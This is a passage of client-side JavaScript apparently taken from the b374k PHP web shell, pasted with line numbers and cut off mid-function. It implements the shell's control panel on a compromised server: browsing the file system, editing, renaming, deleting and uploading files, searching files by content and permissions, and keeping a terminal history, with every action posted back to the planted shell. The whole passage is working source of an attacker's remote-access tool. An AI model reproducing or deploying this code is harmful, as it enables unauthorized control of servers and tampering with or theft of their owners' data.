  2826. a.title)return a.title;if("undefined"!=typeof a.textContent&&!hasInputs)return a.textContent.replace(/^\s+|\s+$/g,"");if("undefined"!=typeof a.innerText&&!hasInputs)return a.innerText.replace(/^\s+|\s+$/g,"");if("undefined"!=typeof a.text&&!hasInputs)return a.text.replace(/^\s+|\s+$/g,"");switch(a.nodeType){case 3:if("input"==a.nodeName.toLowerCase())return a.value.replace(/^\s+|\s+$/g,"");case 4:return a.nodeValue.replace(/^\s+|\s+$/g,"");case 1:case 11:for(var b="",c=0;c<a.childNodes.length;c++)b+=
  2827. sorttable.d(a.childNodes[c]);return b.replace(/^\s+|\s+$/g,"");default:return""}},reverse:function(a){newrows=[];for(var b=0;b<a.rows.length;b++)newrows[newrows.length]=a.rows[b];for(b=newrows.length-1;0<=b;b--)a.appendChild(newrows[b]);delete newrows},n:function(a,b){aa=parseFloat(a[0].replace(/[^0-9.-]/g,""));isNaN(aa)&&(aa=0);bb=parseFloat(b[0].replace(/[^0-9.-]/g,""));isNaN(bb)&&(bb=0);return aa-bb},l:function(a,b){return a[0].toLowerCase()==b[0].toLowerCase()?0:a[0].toLowerCase()<b[0].toLowerCase()?
  2828. -1:1},g:function(a,b){mtch=a[0].match(sorttable.a);y=mtch[3];m=mtch[2];d=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt1=y+m+d;mtch=b[0].match(sorttable.a);y=mtch[3];m=mtch[2];d=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt2=y+m+d;return dt1==dt2?0:dt1<dt2?-1:1},m:function(a,b){mtch=a[0].match(sorttable.a);y=mtch[3];d=mtch[2];m=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt1=y+m+d;mtch=b[0].match(sorttable.a);y=mtch[3];d=mtch[2];m=mtch[1];1==m.length&&(m="0"+m);1==d.length&&
  2829. (d="0"+d);dt2=y+m+d;return dt1==dt2?0:dt1<dt2?-1:1},r:function(a,b){for(var c=0,e=a.length-1,g=h;g;){for(var g=j,f=c;f<e;++f)0<b(a[f],a[f+1])&&(g=a[f],a[f]=a[f+1],a[f+1]=g,g=h);e--;if(!g)break;for(f=e;f>c;--f)0>b(a[f],a[f-1])&&(g=a[f],a[f]=a[f-1],a[f-1]=g,g=h);c++}}};document.addEventListener&&document.addEventListener("DOMContentLoaded",sorttable.e,j);if(/WebKit/i.test(navigator.userAgent))var k=setInterval(function(){/loaded|complete/.test(document.readyState)&&sorttable.e()},10);
  2830. window.onload=sorttable.e;var n=1;function p(a){var b=h;a||(a=((this.ownerDocument||this.document||this).parentWindow||window).event,a.preventDefault=q,a.stopPropagation=r);var c=this.b[a.type],e;for(e in c)this.h=c[e],this.h(a)===j&&(b=j);return b}function q(){this.returnValue=j}function r(){this.cancelBubble=h}Array.forEach||(Array.forEach=function(a,b,c){for(var e=0;e<a.length;e++)b.call(c,a[e],e,a)});
  2831. Function.prototype.forEach=function(a,b,c){for(var e in a)"undefined"==typeof this.prototype[e]&&b.call(c,a[e],e,a)};String.forEach=function(a,b,c){Array.forEach(a.split(""),function(e,g){b.call(c,e,g,a)})};function l(a,b){if(a){var c=Object;if(a instanceof Function)c=Function;else{if(a.forEach instanceof Function){a.forEach(b,void 0);return}"string"==typeof a?c=String:"number"==typeof a.length&&(c=Array)}c.forEach(a,b,void 0)}};
  2832.  
  2833. var loading_count = 0;
  2834. var running = false;
  2835. var defaultTab = 'explorer';
  2836. var currentTab = $('#'+defaultTab);
  2837. var tabScroll = new Object;
  2838. var onDrag = false;
  2839. var onScroll = false;
  2840. var scrollDelta = 1;
  2841. var scrollCounter = 0;
  2842. var scrollSpeed = 60;
  2843. var scrollTimer = '';
  2844. var dragX = '';
  2845. var dragY = '';
  2846. var dragDeltaX = '';
  2847. var dragDeltaY = '';
  2848. var editSuccess = '';
  2849. var terminalHistory = new Array();
  2850. var terminalHistoryPos = 0;
  2851. var evalSupported = "";
  2852. var evalReady = false;
  2853. var resizeTimer = '';
  2854. var portableWidth = 700;
  2855. var portableMode = null;
  2856.  
  2857. Zepto(function($){
  2858.     if(init_shell){
  2859.         var now = new Date();
  2860.         output("started @ "+ now.toGMTString());
  2861.         output("cwd : "+get_cwd());
  2862.         output("module : "+module_to_load);
  2863.  
  2864.         show_tab();
  2865.         xpl_bind();
  2866.         eval_init();
  2867.        
  2868.         window_resize();
  2869.        
  2870.         xpl_update_status();
  2871.        
  2872.         $(window).on('resize', function(e){
  2873.             clearTimeout(resizeTimer);
  2874.             resizeTimer = setTimeout("window_resize()", 1000);
  2875.         });
  2876.  
  2877.         $('.menuitem').on('click', function(e){
  2878.             selectedTab = $(this).attr('href').substr(2);
  2879.             show_tab(selectedTab);
  2880.         });
  2881.  
  2882.         $('#logout').on('click', function(e){
  2883.             var cookie = document.cookie.split(';');
  2884.             for(var i=0; i<cookie.length; i++){
  2885.                 var entries = cookie[i], entry = entries.split("="), name = entry[0];
  2886.                 document.cookie = name + "=''; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/";
  2887.             }
  2888.             localStorage.clear();
  2889.             location.href = targeturl;
  2890.         });
  2891.  
  2892.         $('#totop').on('click', function(e){
  2893.             $(window).scrollTop(0);
  2894.         });
  2895.         $('#totop').on('mouseover', function(e){
  2896.             onScroll = true;
  2897.             clearTimeout(scrollTimer);
  2898.             start_scroll('top');
  2899.         });
  2900.         $('#totop').on('mouseout', function(e){
  2901.             onScroll = false;
  2902.             scrollCounter = 0;
  2903.         });
  2904.         $('#tobottom').on('click', function(e){
  2905.             $(window).scrollTop($(document).height()-$(window).height());
  2906.         });
  2907.         $('#tobottom').on('mouseover', function(e){
  2908.             onScroll = true;
  2909.             clearTimeout(scrollTimer);
  2910.             start_scroll('bottom');
  2911.         });
  2912.         $('#tobottom').on('mouseout', function(e){
  2913.             onScroll = false;
  2914.             scrollCounter = 0;
  2915.         });
  2916.         $('#basicInfo').on('mouseenter', function(e){
  2917.             $('#toggleBasicInfo').show();
  2918.         });
  2919.         $('#basicInfo').on('mouseleave', function(e){
  2920.             $('#toggleBasicInfo').hide();
  2921.         });
  2922.         $('#toggleBasicInfo').on('click', function(e){
  2923.             $('#basicInfo').hide();
  2924.             $('#showinfo').show();
  2925.             $('#toggleBasicInfo').hide();
  2926.             localStorage.setItem('infoBarShown', 'hidden');
  2927.         });
  2928.         $('#showinfo').on('click', function(e){
  2929.             $('#basicInfo').show();
  2930.             $('#showinfo').hide();
  2931.             localStorage.setItem('infoBarShown', 'shown');
  2932.         });
  2933.        
  2934.         if((infoBarShown = localStorage.getItem('infoBarShown'))){
  2935.             if(infoBarShown=='shown'){
  2936.                 $('#basicInfo').show();
  2937.                 $('#showinfo').hide();
  2938.             }
  2939.             else{
  2940.                 $('#basicInfo').hide();
  2941.                 $('#showinfo').show();
  2942.                 $('#toggleBasicInfo').hide();
  2943.             }
  2944.         }
  2945.         else{
  2946.             info_refresh();
  2947.         }
  2948.  
  2949.         if(history.pushState){
  2950.             window.onpopstate = function(event) { refresh_tab(); };
  2951.         }
  2952.         else{
  2953.             window.historyEvent = function(event) { refresh_tab(); };
  2954.         }
  2955.     }
  2956. });
  2957.  
  2958. function output(str){
  2959.     console.log('b374k> '+str);
  2960. }
  2961.  
  2962. function window_resize(){
  2963.     bodyWidth = $('body').width();
  2964.     if(bodyWidth<=portableWidth){
  2965.         layout_portable();
  2966.     }
  2967.     else{
  2968.         layout_normal();
  2969.     }
  2970. }
  2971.  
  2972. function layout_portable(){
  2973.     nav = $('#nav');
  2974.     menu = $('#menu');
  2975.     headerNav = $('#headerNav');
  2976.     content = $('#content');
  2977.  
  2978.     //nav.hide();
  2979.     nav.prependTo('#content');
  2980.     nav.css('padding','5px 8px');
  2981.     nav.css('margin-top', '8px');
  2982.     nav.css('display','block');
  2983.     nav.addClass('border');
  2984.    
  2985.     menu.children().css('width', '100%');
  2986.     menu.hide();
  2987.     $('#menuButton').remove()
  2988.     headerNav.prepend("<div id='menuButton' class='boxtitle' onclick=\"$('#menu').toggle();\" style='float-left;display:inline;padding:4px 8px;margin-right:8px;'>menu</div>");
  2989.     menu.attr('onclick', "\$('#menu').hide();");
  2990.    
  2991.     $('#xplTable tr>:nth-child(4)').hide();
  2992.     $('#xplTable tr>:nth-child(5)').hide();
  2993.     if(!win){
  2994.         $('#xplTable tr>:nth-child(6)').hide();
  2995.     }
  2996.    
  2997.     tblfoot = $('#xplTable tfoot td:last-child');
  2998.     if(tblfoot[0]) tblfoot[0].colSpan = 1;
  2999.     if(tblfoot[1]) tblfoot[1].colSpan = 2;
  3000.    
  3001.    
  3002.     $('.box').css('width', '100%');
  3003.     $('.box').css('height', '100%');
  3004.     $('.box').css('left', '0px');
  3005.     $('.box').css('top', '0px');
  3006.        
  3007.     paddingTop = $('#header').height();
  3008.     content.css('padding-top', paddingTop+'px');
  3009.    
  3010.     portableMode = true;
  3011. }
  3012.  
  3013. function layout_normal(){  
  3014.     nav = $('#nav');
  3015.     menu = $('#menu')
  3016.     content = $('#content');
  3017.  
  3018.     nav.insertAfter('#b374k');
  3019.     nav.css('padding','0');
  3020.     nav.css('margin-top', '0');
  3021.     nav.css('display','inline');
  3022.     nav.removeClass('border');
  3023.    
  3024.     menu.children().css('width', 'auto');
  3025.     menu.show();
  3026.     $('#menuButton').remove();
  3027.     menu.attr('onclick', "");
  3028.    
  3029.     $('#xplTable tr>:nth-child(4)').show();
  3030.     $('#xplTable tr>:nth-child(5)').show();
  3031.     if(!win){
  3032.         $('#xplTable tr>:nth-child(6)').show();
  3033.         colspan = 4;
  3034.     }
  3035.     else colspan = 3;
  3036.    
  3037.     tblfoot = $('#xplTable tfoot td:last-child');
  3038.     if(tblfoot[0]) tblfoot[0].colSpan = colspan;
  3039.     if(tblfoot[1]) tblfoot[1].colSpan = colspan+1;
  3040.  
  3041.     paddingTop = $('#header').height();
  3042.     content.css('padding-top', paddingTop+'px');
  3043.    
  3044.     portableMode = false;
  3045. }
  3046.  
  3047. function start_scroll(str){
  3048.     if(str=='top'){
  3049.         to = $(window).scrollTop() - scrollCounter;
  3050.         scrollCounter = scrollDelta + scrollCounter;
  3051.         if(to<=0){
  3052.             to = 0;
  3053.             onScroll = false;
  3054.         }
  3055.         else if(onScroll){
  3056.             scrollTimer = setTimeout("start_scroll('top')", scrollSpeed);
  3057.             $(window).scrollTop(to);
  3058.         }
  3059.     }
  3060.     else if(str=='bottom'){
  3061.         to = $(window).scrollTop() + scrollCounter;
  3062.         scrollCounter = scrollDelta + scrollCounter;
  3063.         bottom = $(document).height()-$(window).height();
  3064.         if(to>=bottom){
  3065.             to = bottom;
  3066.             onScroll = false;
  3067.         }
  3068.         else if(onScroll){
  3069.             scrollTimer = setTimeout("start_scroll('bottom')", scrollSpeed);
  3070.             $(window).scrollTop(to);
  3071.         }
  3072.     }
  3073. }
  3074.  
  3075. function get_cwd(){
  3076.     return decodeURIComponent(get_cookie('cwd'));
  3077. }
  3078.  
  3079. function fix_tabchar(el, e){
  3080.     if(e.keyCode==9){
  3081.         e.preventDefault();
  3082.         var s = el.selectionStart;
  3083.         el.value = el.value.substring(0,el.selectionStart) + "\t" + el.value.substring(el.selectionEnd);
  3084.         el.selectionEnd = s+1;
  3085.     }
  3086. }
  3087.  
  3088. function get_cookie(key){
  3089.     var res;
  3090.     return (res = new RegExp('(?:^|; )' + encodeURIComponent(key) + '=([^;]*)').exec(document.cookie)) ? (res[1]) : null;
  3091. }
  3092.  
  3093. function set_cookie(key, value){
  3094.     document.cookie = key + '=' + encodeURIComponent(value);
  3095. }
  3096.  
  3097. function html_safe(str){
  3098.     if(typeof(str) == "string"){
  3099.         str = str.replace(/&/g, "&amp;");
  3100.         str = str.replace(/"/g, "&quot;");
  3101.         str = str.replace(/'/g, "&#039;");
  3102.         str = str.replace(/</g, "&lt;");
  3103.         str = str.replace(/>/g, "&gt;");
  3104.     }
  3105.     return str;
  3106. }
  3107.  
  3108. function ucfirst(str){
  3109.     return str.charAt(0).toUpperCase() + str.slice(1);
  3110. }
  3111.  
  3112. function time(){
  3113.     var d = new Date();
  3114.     return d.getTime();
  3115. }
  3116.  
  3117. function send_post(targetdata, callback, loading){
  3118.     if(loading==null) loading_start();
  3119.     $.ajax({
  3120.         url: targeturl,
  3121.         type: 'POST',
  3122.         data: targetdata,
  3123.         success: function(res){
  3124.             callback(res);
  3125.             if(loading==null) loading_stop();
  3126.         },
  3127.         error: function(){ if(loading==null) loading_stop(); }
  3128.     });
  3129. }
  3130.  
  3131. function loading_start(){
  3132.     if(!running){
  3133.         $('#overlay').show();
  3134.         running = true;
  3135.         loading_loop();
  3136.     }
  3137. }
  3138.  
  3139. function loading_loop(){
  3140.     if(running){
  3141.         img = $('#loading');
  3142.         img.css('transform', 'rotate('+loading_count+'deg)');
  3143.         img.css('-ms-transform', 'rotate('+loading_count+'deg)');
  3144.         img.css('-webkit-transform', 'rotate('+loading_count+'deg)');
  3145.  
  3146.         loading_count+=7;
  3147.         if(loading_count>360) loading_count = 0;
  3148.         if(running) setTimeout("loading_loop()",20);
  3149.     }
  3150. }
  3151.  
  3152. function loading_stop(){
  3153.     if(running){
  3154.         img = $('#loading');
  3155.         img.css('transform', 'rotate(0deg)');
  3156.         img.css('-ms-transform', 'rotate(0deg)');
  3157.         img.css('-webkit-transform', 'rotate(0deg)');
  3158.  
  3159.         $('#overlay').hide();
  3160.         running = false;
  3161.     }
  3162. }
  3163.  
  3164. function show_tab(id){
  3165.     if(!id){
  3166.         if(location.hash!='') id = location.hash.substr(2);
  3167.         else id = defaultTab;
  3168.     }
  3169.     refresh_tab(id);
  3170. }
  3171.  
  3172. function refresh_tab(id){
  3173.     if(!id){
  3174.         if(location.hash!='') id = location.hash.substr(2);
  3175.         else id = defaultTab;
  3176.     }
  3177.     $('.menuitemSelected').removeClass("menuitemSelected");
  3178.     $('#menu'+id).addClass("menuitemSelected");
  3179.  
  3180.     tabScroll[currentTab.attr('id')] = $(window).scrollTop();
  3181.     currentTab.hide();
  3182.     currentTab = $('#'+id);
  3183.     currentTab.show();
  3184.     window[id]();
  3185.     if(tabScroll[id]){
  3186.         $(window).scrollTop(tabScroll[id]);
  3187.     }
  3188.     hide_box();
  3189. }
  3190.  
  3191. function trap_enter(e, callback){
  3192.     if(e.keyCode==13){
  3193.         if(callback!=null) window[callback]();
  3194.     }
  3195. }
  3196.  
  3197. function show_box(title, content){
  3198.     onDrag = false;
  3199.     hide_box();
  3200.     box = "<div class='box'><p class='boxtitle'>"+title+"<span class='boxclose floatRight'>x</span></p><div class='boxcontent'>"+content+"</div><div class='boxresult'></div></div>";
  3201.     $('#content').append(box);
  3202.  
  3203.     box_width = $('.box').width();
  3204.     body_width = $('body').width();
  3205.  
  3206.     box_height = $('.box').height();
  3207.     body_height = $('body').height();
  3208.  
  3209.     x = (body_width - box_width)/2;
  3210.     y = (body_height - box_height)/2;
  3211.     if(x<0 || portableMode) x = 0;
  3212.     if(y<0 || portableMode) y = 0;
  3213.     if(portableMode){
  3214.         $('.box').css('width', '100%');
  3215.         $('.box').css('height', '100%');   
  3216.     }
  3217.  
  3218.     $('.box').css('left', x+'px');
  3219.     $('.box').css('top', y+'px');
  3220.  
  3221.     $('.boxclose').on('click', function(e){
  3222.         hide_box();
  3223.     });
  3224.    
  3225.     if(!portableMode){
  3226.         $('.boxtitle').on('click', function(e){
  3227.             if(!onDrag){
  3228.                 dragDeltaX = e.pageX - parseInt($('.box').css('left'));
  3229.                 dragDeltaY = e.pageY - parseInt($('.box').css('top'));
  3230.                 drag_start();
  3231.             }
  3232.             else drag_stop();
  3233.         });
  3234.     }
  3235.  
  3236.     $(document).off('keyup');
  3237.     $(document).on('keyup', function(e){
  3238.         if(e.keyCode == 27) hide_box();
  3239.     });
  3240.  
  3241.     if($('.box input')[0]) $('.box input')[0].focus();
  3242. }
  3243.  
  3244. function hide_box(){
  3245.     $(document).off('keyup');
  3246.     $('.box').remove();
  3247. }
  3248.  
  3249. function drag_start(){
  3250.     if(!onDrag){
  3251.         onDrag = true;
  3252.         $('body').off('mousemove');
  3253.         $('body').on('mousemove', function(e){
  3254.             dragX = e.pageX;
  3255.             dragY = e.pageY;
  3256.         });
  3257.         setTimeout('drag_loop()',50);
  3258.     }
  3259. }
  3260.  
  3261. function drag_loop(){
  3262.     if(onDrag){
  3263.         x = dragX - dragDeltaX;
  3264.         y = dragY - dragDeltaY;
  3265.         if(y<0)y=0;
  3266.         $('.box').css('left', x+'px');
  3267.         $('.box').css('top', y+'px');
  3268.         setTimeout('drag_loop()',50);
  3269.     }
  3270. }
  3271.  
  3272. function drag_stop(){
  3273.     onDrag = false;
  3274.     $('body').off('mousemove');
  3275. }
  3276.  
  3277. function get_all_cbox_selected(id, callback){
  3278.     var buffer = new Array();
  3279.     $('#'+id).find('.cBoxSelected').not('.cBoxAll').each(function(i){
  3280.         if((href = window[callback]($(this)))){
  3281.             buffer[i] = href;
  3282.         }
  3283.     });
  3284.     return buffer;
  3285. }
  3286.  
  3287.  
  3288. function cbox_bind(id, callback){
  3289.     $('#'+id).find('.cBox').off('click');
  3290.     $('#'+id).find('.cBoxAll').off('click');
  3291.  
  3292.     $('#'+id).find('.cBox').on('click', function(e){
  3293.         if($(this).hasClass('cBoxSelected')){
  3294.             $(this).removeClass('cBoxSelected');
  3295.         }
  3296.         else $(this).addClass('cBoxSelected');
  3297.         if(callback!=null) window[callback]();
  3298.     });
  3299.     $('#'+id).find('.cBoxAll').on('click', function(e){
  3300.         if($(this).hasClass('cBoxSelected')){
  3301.             $('#'+id).find('.cBox').removeClass('cBoxSelected');
  3302.             $('#'+id).find('.cBoxAll').removeClass('cBoxSelected');
  3303.         }
  3304.         else{
  3305.             $('#'+id).find('.cBox').not('.cBoxException').addClass('cBoxSelected');
  3306.             $('#'+id).find('.cBoxAll').not('.cBoxException').addClass('cBoxSelected');
  3307.         }
  3308.         if(callback!=null) window[callback]();
  3309.     });
  3310. }
  3311.  
  3312.  
  3313. function action(path, type){
  3314.     title = "Action";
  3315.     content = '';
  3316.     if(type=='file') content = "<table class='boxtbl'><tr><td><input type='text' value='"+path+"' disabled></td></tr><tr data-path='"+path+"'><td><span class='edit button'>edit</span><span class='ren button'>rename</span><span class='del button'>delete</span><span class='dl button'>download</span></td></tr></table>";
  3317.     if(type=='dir') content = "<table class='boxtbl'><tr><td><input type='text' value='"+path+"' disabled></td></tr><tr data-path='"+path+"'><td><span class='find button'>find</span><span class='ul button'>upload</span><span class='ren button'>rename</span><span class='del button'>delete</span></td></tr></table>";
  3318.     if(type=='dot') content = "<table class='boxtbl'><tr><td><input type='text' value='"+path+"' disabled></td></tr><tr data-path='"+path+"'><td><span class='find button'>find</span><span class='ul button'>upload</span><span class='ren button'>rename</span><span class='del button'>delete</span><span class='newfile button'>new file</span><span class='newfolder button'>new folder</span></td></tr></table>";
  3319.     show_box(title, content);
  3320.     xpl_bind();
  3321. }
  3322.  
  3323. function navigate(path, showfiles){
  3324.     if(showfiles==null) showfiles = 'true';
  3325.     send_post({ cd:path, showfiles:showfiles }, function(res){
  3326.         if(res!='error'){
  3327.             splits = res.split('{[|b374k|]}');
  3328.             if(splits.length==3){
  3329.                 $('#nav').html(splits[1]);
  3330.                 if(showfiles=='true'){
  3331.                     $('#explorer').html('');
  3332.                     $('#explorer').html(splits[2]);
  3333.                     sorttable.k($('#xplTable').get(0));
  3334.                 }
  3335.                 $('#terminalCwd').html(html_safe(get_cwd())+'&gt;');
  3336.                 xpl_bind();
  3337.                 window_resize();
  3338.             }
  3339.         }
  3340.     });
  3341. }
  3342.  
  3343. function view(path, type, preserveTimestamp){
  3344.     if(preserveTimestamp==null) preserveTimestamp = 'true';
  3345.     send_post({ viewFile: path, viewType: type, preserveTimestamp:preserveTimestamp }, function(res){
  3346.         if(res!='error'){
  3347.             $('#explorer').html('');
  3348.             $('#explorer').html(res);
  3349.             xpl_bind();
  3350.             show_tab('explorer');
  3351.             if((type=='edit')||(type=='hex')){
  3352.                 editResult = (type=='edit')? $('#editResult'):$('#editHexResult');
  3353.                 if(editSuccess=='success'){
  3354.                     editResult.html(' ( File saved )');
  3355.                 }
  3356.                 else if(editSuccess=='error'){
  3357.                     editResult.html(' ( Failed to save file )');
  3358.                 }
  3359.                 editSuccess = '';
  3360.             }
  3361.             cbox_bind('editTbl');
  3362.         }
  3363.     });
  3364. }
  3365.  
  3366. function view_entry(el){
  3367.     if($(el).attr('data-path')!=''){
  3368.         entry = $(el).attr('data-path');
  3369.         $('#form').append("<input type='hidden' name='viewEntry' value='"+entry+"'>");
  3370.         $('#form').submit();
  3371.         $('#form').html('');
  3372.     }
  3373. }
  3374.  
  3375. function ren(path){
  3376.     title = "Rename";
  3377.     content = "<table class='boxtbl'><tr><td class='colFit'>Rename to</td><td><input type='text' class='renameFileTo' value='" +path+"' onkeydown=\"trap_enter(event, 'ren_go');\"><input type='hidden' class='renameFile' value='"+path+"'></td></tr><tr><td colspan='2'><span class='button' onclick='ren_go();'>rename</span></td></tr></table>";
  3378.     show_box(title, content);
  3379. }
  3380.  
  3381. function ren_go(){
  3382.     renameFile = $('.renameFile').val();
  3383.     renameFileTo = $('.renameFileTo').val();
  3384.     send_post({renameFile:renameFile, renameFileTo:renameFileTo}, function(res){
  3385.         if(res!='error'){
  3386.             navigate(res);
  3387.             $('.boxresult').html('Operation(s) succeeded');
  3388.             $('.renameFile').val($('.renameFileTo').val());
  3389.         }
  3390.         else $('.boxresult').html('Operation(s) failed');
  3391.     });
  3392. }
  3393.  
  3394. function newfolder(path){
  3395.     title = "New Folder";
  3396.     path = path + 'newfolder-' + time();
  3397.     content = "<table class='boxtbl'><tr><td class='colFit'>Folder Name</td><td><input type='text' class='newFolder' value='"+path+"' onkeydown=\"trap_enter(event, 'newfolder_go');\"></td></tr><tr><td colspan='2'><span class='button' onclick='newfolder_go();'>create</span></td></tr></table>";
  3398.     show_box(title, content);
  3399. }
  3400.  
  3401. function newfolder_go(){
  3402.     newFolder = $('.newFolder').val();
  3403.     send_post({newFolder:newFolder}, function(res){
  3404.         if(res!='error'){
  3405.             navigate(res);
  3406.             $('.boxresult').html('Operation(s) succeeded');
  3407.         }
  3408.         else $('.boxresult').html('Operation(s) failed');
  3409.     });
  3410. }
  3411.  
  3412. function newfile(path){
  3413.     title = "New File";
  3414.     path = path + 'newfile-' + time();
  3415.     content = "<table class='boxtbl'><tr><td class='colFit'>File Name</td><td><input type='text' class='newFile' value='"+path+"' onkeydown=\"trap_enter(event, 'newfile_go');\"></td></tr><tr><td colspan='2'><span class='button' onclick='newfile_go();'>create</span></td></tr></table>";
  3416.     show_box(title, content);
  3417. }
  3418.  
  3419. function newfile_go(){
  3420.     newFile = $('.newFile').val();
  3421.     send_post({newFile:newFile}, function(res){
  3422.         if(res!='error'){
  3423.             view(newFile, 'edit');
  3424.             $('.boxresult').html('Operation(s) succeeded');
  3425.         }
  3426.         else $('.boxresult').html('Operation(s) failed');
  3427.     });
  3428. }
  3429.  
  3430. function viewfileorfolder(){
  3431.     title = "View File / Folder";
  3432.     content = "<table class='boxtbl'><tr><td><input type='text' class='viewFileorFolder' value='"+html_safe(get_cwd())+"' onkeydown=\"trap_enter(event, 'viewfileorfolder_go');\"></td></tr><tr><td><span class='button' onclick='viewfileorfolder_go();'>view</span></td></tr></table>";
  3433.     show_box(title, content);
  3434. }
  3435.  
  3436. function viewfileorfolder_go(){
  3437.     entry = $('.viewFileorFolder').val();
  3438.     send_post({viewFileorFolder:entry}, function(res){
  3439.         if(res!='error'){
  3440.             if(res=='file'){
  3441.                 view(entry, 'auto');
  3442.                 show_tab('explorer');
  3443.             }
  3444.             else if(res=='folder'){
  3445.                 navigate(entry);
  3446.                 show_tab('explorer');
  3447.             }
  3448.         }
  3449.     });
  3450. }
  3451.  
  3452. function del(path){
  3453.     title = "Delete";
  3454.     content = "<table class='boxtbl'><tr><td class='colFit'>Delete</td><td><input type='text' class='delete' value='"+path+"' onkeydown=\"trap_enter(event, 'delete_go');\"></td></tr><tr><td colspan='2'><span class='button' onclick='delete_go();'>delete</span></td></tr></table>";
  3455.     show_box(title, content);
  3456. }
  3457.  
  3458. function delete_go(){
  3459.     path = $('.delete').val();
  3460.     send_post({delete:path}, function(res){
  3461.         if(res!='error'){
  3462.             navigate(res);
  3463.             $('.boxresult').html('Operation(s) succeeded');
  3464.         }
  3465.         else $('.boxresult').html('Operation(s) failed');
  3466.     });
  3467. }
  3468.  
  3469. function find(path){
  3470.     findfile = "<table class='boxtbl'><thead><tr><th colspan='2'><p class='boxtitle'>Find File</p></th></tr></thead><tbody><tr><td style='width:144px'>Search in</td><td><input type='text' class='findfilePath' value='"+path+"' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td style='border-bottom:none;'>Filename contains</td><td style='border-bottom:none;'><input type='text' class='findfileFilename' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td></td><td><span class='cBox findfileFilenameRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;<span class='cBox findfileFilenameInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td style='border-bottom:none;'>File contains</td><td style='border-bottom:none;'><input type='text' class='findfileContains' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td></td><td><span class='cBox findfileContainsRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;<span class='cBox findfileContainsInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class='cBox findfileReadable'></span><span class='floatLeft'>Readable</span>&nbsp;&nbsp;<span class='cBox findfileWritable'></span><span class='floatLeft'>Writable</span>&nbsp;&nbsp;<span class='cBox findfileExecutable'></span><span class='floatLeft'>Executable</span></td></tr></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"find_go_file();\">find</span></td></tr><tr><td colspan='2' class='findfileResult'></td></tr></tfoot></table>";
  3471.     findfolder = "<table class='boxtbl'><thead><tr><th colspan='2'><p class='boxtitle'>Find Folder</p></th></tr></thead><tbody><tr><td style='width:144px'>Search in</td><td><input type='text' class='findFolderPath' value='"+path+"' onkeydown=\"trap_enter(event, 'find_go_folder');\"></td></tr><tr><td style='border-bottom:none;'>Foldername contains</td><td style='border-bottom:none;'><input type='text' class='findFoldername' onkeydown=\"trap_enter(event, 'find_go_folder');\"></td></tr><tr><td></td><td><span class='cBox findFoldernameRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;&nbsp;<span class='cBox findFoldernameInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class='cBox findReadable'></span><span class='floatLeft'>Readable</span>&nbsp;&nbsp;<span class='cBox findWritable'></span><span class='floatLeft'>Writable</span>&nbsp;&nbsp;<span class='cBox findExecutable'></span><span class='floatLeft'>Executable</span></td></tr></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"find_go_folder();\">find</span></td></tr><tr><td colspan='2' class='findResult'></td></tr></tfoot></table>";
  3472.     $('#explorer').html("<div id='xplUpload'>" +findfile+'<br>'+findfolder+'</div>');
  3473.     cbox_bind('xplUpload');
  3474. }
  3475.  
  3476. function find_go_file(){
  3477.     find_go('file');
  3478. }
  3479.  
  3480. function find_go_folder(){
  3481.     find_go('folder');
  3482. }
  3483.  
  3484. function find_go(findType){
  3485.     findPath = (findType=='file')? $('.findfilePath').val():$('.findFolderPath').val();
  3486.     findResult = (findType=='file')? $('.findfileResult'):$('.findResult');
  3487.  
  3488.     findName = (findType=='file')? $('.findfileFilename').val():$('.findFoldername').val();
  3489.     findNameRegex = (findType=='file')? $('.findfileFilenameRegex').hasClass('cBoxSelected').toString():$('.findFoldernameRegex').hasClass('cBoxSelected').toString();
  3490.     findNameInsensitive = (findType=='file')? $('.findfileFilenameInsensitive').hasClass('cBoxSelected').toString():$('.findFoldernameInsensitive').hasClass('cBoxSelected').toString();
  3491.  
  3492.     findContent = (findType=='file')? $('.findfileContains').val():"";
  3493.     findContentRegex = (findType=='file')? $('.findfileContainsRegex').hasClass('cBoxSelected').toString():"";
  3494.     findContentInsensitive = (findType=='file')? $('.findfileContainsInsensitive').hasClass('cBoxSelected').toString():"";
  3495.  
  3496.     findReadable = (findType=='file')? $('.findfileReadable').hasClass('cBoxSelected').toString():$('.findWritable').hasClass('cBoxSelected').toString();
  3497.     findWritable = (findType=='file')? $('.findfileWritable').hasClass('cBoxSelected').toString():$('.findReadable').hasClass('cBoxSelected').toString();
  3498.     findExecutable = (findType=='file')? $('.findfileExecutable').hasClass('cBoxSelected').toString():$('.findExecutable').hasClass('cBoxSelected').toString();
  3499.  
  3500.     send_post(
  3501.         {
  3502.             findType:findType,
  3503.             findPath:findPath,
  3504.             findName:findName,
  3505.             findNameRegex:findNameRegex,
  3506.             findNameInsensitive:findNameInsensitive,
  3507.             findContent:findContent,
  3508.             findContentRegex:findContentRegex,
  3509.             findContentInsensitive:findContentInsensitive,
  3510.             findReadable:findReadable,
  3511.             findWritable:findWritable,
  3512.             findExecutable:findExecutable
  3513.         },
  3514.         function(res){
  3515.             if(res!='error'){
  3516.                 findResult.html(res);
  3517.             }
  3518.         }
  3519.     );
  3520. }
  3521.  
  3522. function ul_go_comp(){
  3523.     ul_go('comp');
  3524. }
  3525.  
  3526. function ul_go_url(){
  3527.     ul_go('url');
  3528. }
  3529.  
  3530. function ul(path){
